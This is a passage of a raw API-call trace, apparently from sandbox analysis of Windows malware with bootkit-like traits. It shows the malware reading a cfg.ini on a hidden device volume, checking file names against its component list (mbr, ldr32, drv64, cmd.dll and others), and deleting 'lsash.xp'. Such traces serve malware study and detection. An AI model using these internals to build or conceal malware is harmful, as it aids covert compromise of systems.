[0128.610] KeLeaveCriticalRegion () [0128.610] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.610] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.610] KeEnterCriticalRegion () [0128.610] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.610] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035d5000 [0128.610] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.610] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.610] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.610] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.610] IdePortDispatch () returned 0x103 [0128.610] KeWaitForMutexObject () returned 0x0 [0128.611] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.611] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.611] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.611] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.611] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.611] IdePortDispatch () returned 0x103 [0128.611] KeWaitForMutexObject () returned 0x0 [0128.612] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.612] KeLeaveCriticalRegion () [0128.612] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.612] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.612] KeEnterCriticalRegion () [0128.612] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.612] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.612] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.612] KeLeaveCriticalRegion () [0128.612] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.612] KeEnterCriticalRegion () [0128.612] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.612] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.612] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c00f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.612] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.612] KeLeaveCriticalRegion () [0128.612] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.612] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.612] KeEnterCriticalRegion () [0128.612] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.612] ExFreePoolWithTag (P=0xfffffa8003c00be0, Tag=0x0) [0128.612] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.612] KeLeaveCriticalRegion () [0128.612] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.613] ReleaseMutex (hMutex=0xf0) returned 1 [0128.613] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.620] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.620] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.620] KeEnterCriticalRegion () [0128.620] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.620] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.620] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.620] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.620] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.620] IdePortDispatch () returned 0x103 [0128.620] KeWaitForMutexObject () returned 0x0 [0128.620] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.620] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.620] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.620] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.620] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.621] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039bbb80 [0128.621] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.621] KeLeaveCriticalRegion () [0128.621] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.621] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.621] KeEnterCriticalRegion () [0128.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.621] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.621] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.621] KeLeaveCriticalRegion () [0128.621] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.621] KeEnterCriticalRegion () [0128.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.621] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.621] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.621] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.621] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.621] IdePortDispatch () returned 0x103 [0128.621] KeWaitForMutexObject () returned 0x0 [0128.621] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.621] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.621] KeLeaveCriticalRegion () [0128.621] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.621] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.621] KeEnterCriticalRegion () [0128.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.621] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e8000 [0128.621] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.621] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.621] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.621] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.621] IdePortDispatch () returned 0x103 [0128.621] KeWaitForMutexObject () returned 0x0 [0128.622] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.622] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.622] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.622] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.622] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.622] IdePortDispatch () returned 0x103 [0128.622] KeWaitForMutexObject () returned 0x0 [0128.622] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.622] KeLeaveCriticalRegion () [0128.622] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.622] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.622] KeEnterCriticalRegion () [0128.622] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.622] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.622] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.622] KeLeaveCriticalRegion () [0128.623] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.623] KeEnterCriticalRegion () [0128.623] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.623] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.623] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfff20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.623] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.623] KeLeaveCriticalRegion () [0128.623] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.623] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.623] KeEnterCriticalRegion () [0128.623] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.623] ExFreePoolWithTag (P=0xfffffa80039bbb80, Tag=0x0) [0128.623] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.623] KeLeaveCriticalRegion () [0128.623] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.623] ReleaseMutex (hMutex=0xf0) returned 1 [0128.623] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.623] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.623] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.623] KeEnterCriticalRegion () [0128.623] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.623] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.623] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.623] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.623] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.623] IdePortDispatch () returned 0x103 [0128.623] KeWaitForMutexObject () returned 0x0 [0128.623] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.623] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.623] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.623] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.623] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.623] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00c30 [0128.623] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.623] KeLeaveCriticalRegion () [0128.623] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.624] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.624] KeEnterCriticalRegion () [0128.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.624] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.624] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.624] KeLeaveCriticalRegion () [0128.624] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.624] KeEnterCriticalRegion () [0128.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.624] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.624] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.624] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.624] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.624] IdePortDispatch () returned 0x103 [0128.624] KeWaitForMutexObject () returned 0x0 [0128.624] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.624] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.624] KeLeaveCriticalRegion () [0128.624] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.624] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.624] KeEnterCriticalRegion () [0128.624] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.624] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e9000 [0128.624] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.624] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.624] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.624] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.624] IdePortDispatch () returned 0x103 [0128.624] KeWaitForMutexObject () returned 0x0 [0128.625] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.625] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.625] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.625] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.625] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.625] IdePortDispatch () returned 0x103 [0128.625] KeWaitForMutexObject () returned 0x0 [0128.625] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.625] KeLeaveCriticalRegion () [0128.625] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.625] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.625] KeEnterCriticalRegion () [0128.625] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.625] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.625] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.625] KeLeaveCriticalRegion () [0128.625] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.626] KeEnterCriticalRegion () [0128.626] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.626] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.626] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.626] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.626] KeLeaveCriticalRegion () [0128.626] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.626] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.626] KeEnterCriticalRegion () [0128.626] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.626] ExFreePoolWithTag (P=0xfffffa8003c00c30, Tag=0x0) [0128.626] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.626] KeLeaveCriticalRegion () [0128.626] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.626] ReleaseMutex (hMutex=0xf0) returned 1 [0128.626] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.626] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.626] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.626] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.626] KeEnterCriticalRegion () [0128.626] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.626] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.626] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.626] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.626] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.626] IdePortDispatch () returned 0x103 [0128.626] KeWaitForMutexObject () returned 0x0 [0128.626] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.626] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.626] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.626] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.626] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.626] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.626] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.626] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.626] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.626] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.626] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.627] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.627] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.627] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.627] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.627] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.627] KeLeaveCriticalRegion () [0128.627] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.627] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.627] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.627] KeEnterCriticalRegion () [0128.627] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.627] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.627] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.627] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.627] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.627] IdePortDispatch () returned 0x103 [0128.627] KeWaitForMutexObject () returned 0x0 [0128.627] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.627] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.627] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.627] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.627] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.627] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.627] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.627] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.627] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.627] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.627] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.627] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.627] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.627] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.627] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.627] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.627] KeLeaveCriticalRegion () [0128.627] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.627] ReleaseMutex (hMutex=0x100) returned 1 [0128.627] Sleep (dwMilliseconds=0x2bf20) [0128.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6fdea210, dwHighDateTime=0x1d24fa4)) [0128.634] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.634] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.634] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.634] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.634] KeEnterCriticalRegion () [0128.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.634] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 